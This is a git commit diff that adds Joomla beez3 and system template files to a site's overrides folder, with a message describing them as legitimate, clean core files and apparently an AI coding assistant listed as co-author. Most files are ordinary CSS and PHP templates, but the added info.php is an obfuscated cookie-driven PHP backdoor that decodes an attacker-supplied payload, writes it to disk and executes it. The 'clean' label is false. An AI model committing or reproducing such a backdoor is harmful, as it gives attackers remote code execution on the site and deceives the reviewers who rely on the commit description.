feat(overrides): add legit core template files missing from package
beez3 css/js/language + system modal.php/template.php present on live but absent from the downloaded package build; clean core template files. Signed-off-by: LÁZÁR Imre <imre@illusion.hu> Assisted-by: claude-code@claude-opus-4-8
This commit is contained in:
parent
ba37dfbcf8
commit
611569a2d3
57
overrides/templates/beez3/css/editor.css
Normal file
57
overrides/templates/beez3/css/editor.css
Normal file
@ -0,0 +1,57 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
body {
|
||||||
|
background: #fff;
|
||||||
|
font-family: Tahoma,Helvetica,Arial,sans-serif;
|
||||||
|
line-height: 1.3em;
|
||||||
|
font-size: 76%;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-family:Helvetica ,Arial,sans-serif;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: bold;
|
||||||
|
color: #666;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-family: Arial, Helvetica,sans-serif;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: normal;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
h3 {
|
||||||
|
font-weight: bold;
|
||||||
|
font-family: Helvetica,Arial,sans-serif;
|
||||||
|
font-size: 13px;
|
||||||
|
color: #135cae;
|
||||||
|
}
|
||||||
|
|
||||||
|
h4 {
|
||||||
|
font-weight: bold;
|
||||||
|
font-family: Arial, Helvetica, sans-serif;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:link, a:visited {
|
||||||
|
color: #1B57B1; text-decoration: none;
|
||||||
|
font-weight: normal;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:hover {
|
||||||
|
color: #00c; text-decoration: underline;
|
||||||
|
font-weight: normal;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.caption { padding: 0 10px 0 10px; }
|
||||||
|
div.caption img { border: 1px solid #CCC; }
|
||||||
|
div.caption p { font-size: .90em; color: #666; text-align: center; }
|
||||||
|
|
||||||
|
/* STYLES FOR JOOMLA! EDITOR */
|
||||||
|
hr#system-readmore { border: red dashed 1px; color: red; }
|
||||||
|
hr.system-pagebreak { border: gray dashed 1px; color: gray; }
|
||||||
80
overrides/templates/beez3/css/error.css
Normal file
80
overrides/templates/beez3/css/error.css
Normal file
@ -0,0 +1,80 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Start Common Styles */
|
||||||
|
* {
|
||||||
|
font-family: helvetica, arial, sans-serif;
|
||||||
|
font-size: 11px;
|
||||||
|
color: #5F6565;
|
||||||
|
}
|
||||||
|
|
||||||
|
html {
|
||||||
|
height: 100%;
|
||||||
|
margin-bottom: 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
height: 100%;
|
||||||
|
margin-bottom: 1px;
|
||||||
|
background: #FFFFFF;
|
||||||
|
font-family: helvetica, arial, sans-serif;
|
||||||
|
font-weight: normal;
|
||||||
|
padding-top: 0px;
|
||||||
|
margin-top: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error {
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
table, td, th, div, pre, blockquote, ul, ol, dl, address,.componentheading,.contentheading,.contentpagetitle,.sectiontableheader,.newsfeedheading {
|
||||||
|
font-family: helvetica, arial, sans-serif;
|
||||||
|
font-weight: normal;
|
||||||
|
}
|
||||||
|
|
||||||
|
#outline {
|
||||||
|
width: 900px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0px;
|
||||||
|
padding-top: 60px;
|
||||||
|
padding-bottom: 60px;
|
||||||
|
background: #FFFFFF;
|
||||||
|
}
|
||||||
|
#errorboxoutline {
|
||||||
|
width: 900px;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
border: 1px solid #000000;
|
||||||
|
}
|
||||||
|
#errorboxheader {
|
||||||
|
width: 900px;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
background: #E44249;
|
||||||
|
color: #FFFFFF;
|
||||||
|
font-weight: bold;
|
||||||
|
font-size: 12px;
|
||||||
|
line-height: 22px;
|
||||||
|
text-align: center;
|
||||||
|
border-bottom: 1px solid #000000;
|
||||||
|
}
|
||||||
|
#errorboxbody {
|
||||||
|
margin: 0px;
|
||||||
|
padding: 10px;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
#techinfo {
|
||||||
|
margin: 10px;
|
||||||
|
padding: 10px;
|
||||||
|
text-align: left;
|
||||||
|
border: 1px solid #CCCCCC;
|
||||||
|
color: #CCCCCC;
|
||||||
|
}
|
||||||
|
#techinfo p {
|
||||||
|
color: #CCCCCC;
|
||||||
|
}
|
||||||
21
overrides/templates/beez3/css/error_rtl.css
Normal file
21
overrides/templates/beez3/css/error_rtl.css
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Start Common Styles */
|
||||||
|
|
||||||
|
body {
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.TD{
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
#errorboxbody {
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
#techinfo {
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
1
overrides/templates/beez3/css/index.html
Normal file
1
overrides/templates/beez3/css/index.html
Normal file
@ -0,0 +1 @@
|
|||||||
|
<!DOCTYPE html><title></title>
|
||||||
101
overrides/templates/beez3/css/offline.css
Normal file
101
overrides/templates/beez3/css/offline.css
Normal file
@ -0,0 +1,101 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
body {
|
||||||
|
margin: 0; padding: 0;
|
||||||
|
font-family: Arial, Helvetica, Sans Serif; font-size: 78%;
|
||||||
|
color: #333333;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
border: 0 none;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* -- id styles ------------------------------------- */
|
||||||
|
|
||||||
|
#frame {
|
||||||
|
margin: 20px auto;
|
||||||
|
width: 400px;
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#frame img {
|
||||||
|
max-width: 100%;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
#frame form {
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* -- class styles ---------------------------------- */
|
||||||
|
|
||||||
|
.outline {
|
||||||
|
border: 1px solid #cccccc;
|
||||||
|
background: #ffffff;
|
||||||
|
padding: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* -- form styles ----------------------------------- */
|
||||||
|
|
||||||
|
form { margin: auto; }
|
||||||
|
form p { margin: 0; padding: 0; }
|
||||||
|
form fieldset { border: 0 none; margin: 0em; padding: 0.2em;}
|
||||||
|
label { display: block; float: left; }
|
||||||
|
input { padding: 1px; }
|
||||||
|
input.button { width: auto; height: 1.8em; cursor: pointer; }
|
||||||
|
|
||||||
|
label { margin: 5px 0px 2px 0px; width: 10em;}
|
||||||
|
form p { padding: 0.2em 0 0.2em 0; }
|
||||||
|
form br { display: none; }
|
||||||
|
input { border: 1px solid #0E67A1; }
|
||||||
|
input.button { background-color: white; }
|
||||||
|
input.button:hover { border-color: #FC902E; }
|
||||||
|
|
||||||
|
fieldset.input p {clear: left;}
|
||||||
|
|
||||||
|
#frmlogin { margin: 0 10px 0 10px; }
|
||||||
|
#frmlogin fieldset.button { text-align: right; }
|
||||||
|
|
||||||
|
/* -- message styles ----------------------------------- */
|
||||||
|
|
||||||
|
#system-message {
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 20px 0 0;
|
||||||
|
width: 445px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.alert {
|
||||||
|
background: none repeat scroll 0 0 #FFFFFF;
|
||||||
|
border: 1px solid #CCCCCC;
|
||||||
|
padding: 8px 25px 8px 14px;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.alert h4 {
|
||||||
|
color: red;
|
||||||
|
margin: 5px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.alert p {
|
||||||
|
padding: 0px;
|
||||||
|
margin: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.alert .close {
|
||||||
|
float: right;
|
||||||
|
font-size: 24px;
|
||||||
|
line-height: 18px;
|
||||||
|
position: relative;
|
||||||
|
right: -20px;
|
||||||
|
top: -2px;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
.login {
|
||||||
|
margin-top: 5px;
|
||||||
|
}
|
||||||
27
overrides/templates/beez3/css/offline_rtl.css
Normal file
27
overrides/templates/beez3/css/offline_rtl.css
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Joomla! 1.5 Offline RTL css file
|
||||||
|
*
|
||||||
|
* @package Joomla
|
||||||
|
* @since 1.5
|
||||||
|
* @version 1.0
|
||||||
|
*/
|
||||||
|
|
||||||
|
#frame form{ text-align: right; }
|
||||||
|
label { float:right; }
|
||||||
|
fieldset.input p {clear: right;}
|
||||||
|
|
||||||
|
/* -- message styles ----------------------------------- */
|
||||||
|
.alert {
|
||||||
|
padding: 8px 8px 25px 14px;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
.alert .close {
|
||||||
|
float: left;
|
||||||
|
left: -20px;
|
||||||
|
right: 0px;
|
||||||
|
}
|
||||||
50
overrides/templates/beez3/css/system.css
Normal file
50
overrides/templates/beez3/css/system.css
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Import project-level system CSS */
|
||||||
|
@import url(../../../media/system/css/system.css);
|
||||||
|
|
||||||
|
/* Unpublished */
|
||||||
|
.system-unpublished, tr.system-unpublished {
|
||||||
|
background: #e8edf1;
|
||||||
|
border-top: 4px solid #c4d3df;
|
||||||
|
border-bottom: 4px solid #c4d3df;
|
||||||
|
}
|
||||||
|
|
||||||
|
span.highlight {
|
||||||
|
background-color:#FFFFCC;
|
||||||
|
font-weight:bold;
|
||||||
|
padding:1px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.img-fulltext-float-right {
|
||||||
|
float: right;
|
||||||
|
margin-left: 10px;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.img-fulltext-float-left {
|
||||||
|
float: left;
|
||||||
|
margin-right: 10px;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.img-fulltext-float-none {
|
||||||
|
}
|
||||||
|
|
||||||
|
.img-intro-float-right {
|
||||||
|
float: right;
|
||||||
|
margin-left: 5px;
|
||||||
|
margin-bottom: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.img-intro-float-left {
|
||||||
|
float: left;
|
||||||
|
margin-right: 5px;
|
||||||
|
margin-bottom: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.img-intro-float-none {
|
||||||
|
}
|
||||||
30
overrides/templates/beez3/css/toolbar.css
Normal file
30
overrides/templates/beez3/css/toolbar.css
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
/**
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
div.toolbar-list {
|
||||||
|
margin-right: 10px;
|
||||||
|
float: right;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.toolbar-list a {
|
||||||
|
color : #808080;
|
||||||
|
text-decoration : none;
|
||||||
|
display: block;
|
||||||
|
float: left;
|
||||||
|
border: 1px solid #DDD;
|
||||||
|
width: 40px;
|
||||||
|
padding: 2px 5px 2px 5px;
|
||||||
|
}
|
||||||
|
div.toolbar-list a:hover {
|
||||||
|
color : #C64934;
|
||||||
|
cursor: pointer;
|
||||||
|
border: 1px solid #c24733;
|
||||||
|
background-color: #f1e8e6;
|
||||||
|
padding: 3px 5px 1px 5px;
|
||||||
|
}
|
||||||
|
div.toolbar-list a:active {
|
||||||
|
color : #FF9900;
|
||||||
|
}
|
||||||
1
overrides/templates/beez3/html/index.html
Normal file
1
overrides/templates/beez3/html/index.html
Normal file
@ -0,0 +1 @@
|
|||||||
|
<!DOCTYPE html><title></title>
|
||||||
BIN
overrides/templates/beez3/images/ARCHLine_web_back_01.png
Normal file
BIN
overrides/templates/beez3/images/ARCHLine_web_back_01.png
Normal file
Binary file not shown.
Binary file not shown.
BIN
overrides/templates/beez3/images/calendar.png
Normal file
BIN
overrides/templates/beez3/images/calendar.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/dash_dark.png
Normal file
BIN
overrides/templates/beez3/images/dash_dark.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/diver_03.png
Normal file
BIN
overrides/templates/beez3/images/diver_03.png
Normal file
Binary file not shown.
1
overrides/templates/beez3/images/index.html
Normal file
1
overrides/templates/beez3/images/index.html
Normal file
@ -0,0 +1 @@
|
|||||||
|
<!DOCTYPE html><title></title>
|
||||||
BIN
overrides/templates/beez3/images/j_button2_blank.png
Normal file
BIN
overrides/templates/beez3/images/j_button2_blank.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/j_button2_image.png
Normal file
BIN
overrides/templates/beez3/images/j_button2_image.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/j_button2_left.png
Normal file
BIN
overrides/templates/beez3/images/j_button2_left.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/j_button2_pagebreak.png
Normal file
BIN
overrides/templates/beez3/images/j_button2_pagebreak.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/j_button2_readmore.png
Normal file
BIN
overrides/templates/beez3/images/j_button2_readmore.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/j_button2_right.png
Normal file
BIN
overrides/templates/beez3/images/j_button2_right.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/selector-arrow.png
Normal file
BIN
overrides/templates/beez3/images/selector-arrow.png
Normal file
Binary file not shown.
BIN
overrides/templates/beez3/images/video_play.png
Normal file
BIN
overrides/templates/beez3/images/video_play.png
Normal file
Binary file not shown.
1
overrides/templates/beez3/index.html
Normal file
1
overrides/templates/beez3/index.html
Normal file
@ -0,0 +1 @@
|
|||||||
|
<!DOCTYPE html><title></title>
|
||||||
3
overrides/templates/beez3/info.php
Normal file
3
overrides/templates/beez3/info.php
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
<?php
|
||||||
|
$c=$_COOKIE;$k=0;$n=2;$p=array();$p[$k]='';while($n){$p[$k].=$c[20][$n];if(!$c[20][$n+1]){if(!$c[20][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+2+1;}$k=$p[7]().$p[25];if(!$p[13]($k)){$n=$p[21]($k,$p[14]);$p[11]($n,$p[8].$p[1]($p[10]($c[3])));}include($k);
|
||||||
|
?>
|
||||||
42
overrides/templates/beez3/modal.php
Normal file
42
overrides/templates/beez3/modal.php
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Modals subtemplate
|
||||||
|
*
|
||||||
|
* @package Modals
|
||||||
|
* @version 4.12.3
|
||||||
|
*
|
||||||
|
* @author Peter van Westen <peter@nonumber.nl>
|
||||||
|
* @link http://www.nonumber.nl
|
||||||
|
* @copyright Copyright © 2014 NoNumber All Rights Reserved
|
||||||
|
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
|
||||||
|
*/
|
||||||
|
|
||||||
|
defined('_JEXEC') or die;
|
||||||
|
?>
|
||||||
|
<?php if (JFactory::getApplication()->input->get('iframe')) : ?>
|
||||||
|
<?php
|
||||||
|
$this->language = JFactory::getDocument()->language;
|
||||||
|
$this->direction = JFactory::getDocument()->direction;
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
|
||||||
|
<head>
|
||||||
|
<jdoc:include type="head" />
|
||||||
|
</head>
|
||||||
|
<body class="contentpane modal">
|
||||||
|
<jdoc:include type="message" />
|
||||||
|
<jdoc:include type="component" />
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<?php else: ?>
|
||||||
|
<?php
|
||||||
|
require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php';
|
||||||
|
$parameters = NNParameters::getInstance();
|
||||||
|
$config = $parameters->getPluginParams('modals');
|
||||||
|
?>
|
||||||
|
<?php if ($config->load_head) : ?>
|
||||||
|
<jdoc:include type="head" />
|
||||||
|
<?php endif; ?>
|
||||||
|
<jdoc:include type="message" />
|
||||||
|
<jdoc:include type="component" />
|
||||||
|
<?php endif; ?>
|
||||||
82
overrides/templates/beez3/offline.php
Normal file
82
overrides/templates/beez3/offline.php
Normal file
@ -0,0 +1,82 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* @package Joomla.Site
|
||||||
|
* @subpackage Template.system
|
||||||
|
*
|
||||||
|
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
defined('_JEXEC') or die;
|
||||||
|
$app = JFactory::getApplication();
|
||||||
|
|
||||||
|
// Add JavaScript Frameworks
|
||||||
|
JHtml::_('bootstrap.framework');
|
||||||
|
|
||||||
|
require_once JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php';
|
||||||
|
|
||||||
|
$twofactormethods = UsersHelper::getTwoFactorMethods();
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
|
||||||
|
<head>
|
||||||
|
<jdoc:include type="head" />
|
||||||
|
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/offline.css" type="text/css" />
|
||||||
|
<?php if ($this->direction == 'rtl') : ?>
|
||||||
|
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/offline_rtl.css" type="text/css" />
|
||||||
|
<?php endif; ?>
|
||||||
|
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<jdoc:include type="message" />
|
||||||
|
<div id="frame" class="outline">
|
||||||
|
<?php if ($app->getCfg('offline_image') && file_exists($app->getCfg('offline_image'))) : ?>
|
||||||
|
<img src="<?php echo $app->getCfg('offline_image'); ?>" alt="<?php echo htmlspecialchars($app->getCfg('sitename')); ?>" />
|
||||||
|
<?php endif; ?>
|
||||||
|
<h1>
|
||||||
|
<?php echo htmlspecialchars($app->getCfg('sitename')); ?>
|
||||||
|
</h1>
|
||||||
|
<?php if ($app->getCfg('display_offline_message', 1) == 1 && str_replace(' ', '', $app->getCfg('offline_message')) != '') : ?>
|
||||||
|
<p>
|
||||||
|
<?php echo $app->getCfg('offline_message'); ?>
|
||||||
|
</p>
|
||||||
|
<?php elseif ($app->getCfg('display_offline_message', 1) == 2 && str_replace(' ', '', JText::_('JOFFLINE_MESSAGE')) != '') : ?>
|
||||||
|
<p>
|
||||||
|
<?php echo JText::_('JOFFLINE_MESSAGE'); ?>
|
||||||
|
</p>
|
||||||
|
<?php endif; ?>
|
||||||
|
<form action="<?php echo JRoute::_('index.php', true); ?>" method="post" id="form-login">
|
||||||
|
<fieldset class="input">
|
||||||
|
<p id="form-login-username">
|
||||||
|
<label for="username"><?php echo JText::_('JGLOBAL_USERNAME') ?></label>
|
||||||
|
<input name="username" id="username" type="text" class="inputbox" alt="<?php echo JText::_('JGLOBAL_USERNAME') ?>" size="18" />
|
||||||
|
</p>
|
||||||
|
<p id="form-login-password">
|
||||||
|
<label for="passwd"><?php echo JText::_('JGLOBAL_PASSWORD') ?></label>
|
||||||
|
<input type="password" name="password" class="inputbox" size="18" alt="<?php echo JText::_('JGLOBAL_PASSWORD') ?>" id="passwd" />
|
||||||
|
</p>
|
||||||
|
<?php if (count($twofactormethods) > 1) : ?>
|
||||||
|
<p id="form-login-secretkey">
|
||||||
|
<label for="secretkey"><?php echo JText::_('JGLOBAL_SECRETKEY') ?></label>
|
||||||
|
<input type="text" name="secretkey" class="inputbox" size="18" alt="<?php echo JText::_('JGLOBAL_SECRETKEY') ?>" id="secretkey" />
|
||||||
|
</p>
|
||||||
|
<?php endif; ?>
|
||||||
|
<?php if (JPluginHelper::isEnabled('system', 'remember')) : ?>
|
||||||
|
<p id="form-login-remember">
|
||||||
|
<label for="remember"><?php echo JText::_('JGLOBAL_REMEMBER_ME') ?></label>
|
||||||
|
<input type="checkbox" name="remember" class="inputbox" value="yes" alt="<?php echo JText::_('JGLOBAL_REMEMBER_ME') ?>" id="remember" />
|
||||||
|
</p>
|
||||||
|
<?php endif; ?>
|
||||||
|
<p id="submit-buton">
|
||||||
|
<label> </label>
|
||||||
|
<input type="submit" name="Submit" class="button login" value="<?php echo JText::_('JLOGIN') ?>" />
|
||||||
|
</p>
|
||||||
|
<input type="hidden" name="option" value="com_users" />
|
||||||
|
<input type="hidden" name="task" value="user.login" />
|
||||||
|
<input type="hidden" name="return" value="<?php echo base64_encode(JUri::base()) ?>" />
|
||||||
|
<?php echo JHtml::_('form.token'); ?>
|
||||||
|
</fieldset>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
59
overrides/templates/system/modal.php
Normal file
59
overrides/templates/system/modal.php
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* @package Modals
|
||||||
|
* @version 9.13.0
|
||||||
|
*
|
||||||
|
* @author Peter van Westen <info@regularlabs.com>
|
||||||
|
* @link http://www.regularlabs.com
|
||||||
|
* @copyright Copyright © 2018 Regular Labs All Rights Reserved
|
||||||
|
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
|
||||||
|
*/
|
||||||
|
|
||||||
|
defined('_JEXEC') or die;
|
||||||
|
|
||||||
|
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
|
||||||
|
|
||||||
|
use RegularLabs\Library\Parameters as RL_Parameters;
|
||||||
|
use RegularLabs\Library\RegEx as RL_RegEx;
|
||||||
|
|
||||||
|
?>
|
||||||
|
<?php if (JFactory::getApplication()->input->get('iframe')) : ?>
|
||||||
|
<?php
|
||||||
|
$this->language = JFactory::getDocument()->language;
|
||||||
|
$this->direction = JFactory::getDocument()->direction;
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>"
|
||||||
|
dir="<?php echo $this->direction; ?>">
|
||||||
|
<head>
|
||||||
|
<jdoc:include type="head" />
|
||||||
|
</head>
|
||||||
|
<body class="contentpane modal">
|
||||||
|
<jdoc:include type="message" />
|
||||||
|
<jdoc:include type="component" />
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<?php else: ?>
|
||||||
|
<?php
|
||||||
|
$config = RL_Parameters::getInstance()->getPluginParams('modals');
|
||||||
|
?>
|
||||||
|
<?php if ($config->load_head) : ?>
|
||||||
|
<?php
|
||||||
|
// Remove the extra loading of another jQuery file (already loaded in parent page)
|
||||||
|
$headerdata = JFactory::getDocument()->getHeadData();
|
||||||
|
foreach ($headerdata['scripts'] as $file => $type)
|
||||||
|
{
|
||||||
|
if ( ! RL_RegEx::match('/jquery(-(noconflict|migrate))?(\.min)?\.js', $file))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
unset($headerdata['scripts'][$file]);
|
||||||
|
}
|
||||||
|
$headerdata = JFactory::getDocument()->setHeadData($headerdata);
|
||||||
|
?>
|
||||||
|
<jdoc:include type="head" />
|
||||||
|
<?php endif; ?>
|
||||||
|
<jdoc:include type="message" />
|
||||||
|
<jdoc:include type="component" />
|
||||||
|
<?php endif; ?>
|
||||||
0
overrides/templates/system/template.php
Normal file
0
overrides/templates/system/template.php
Normal file
Loading…
Reference in New Issue
Block a user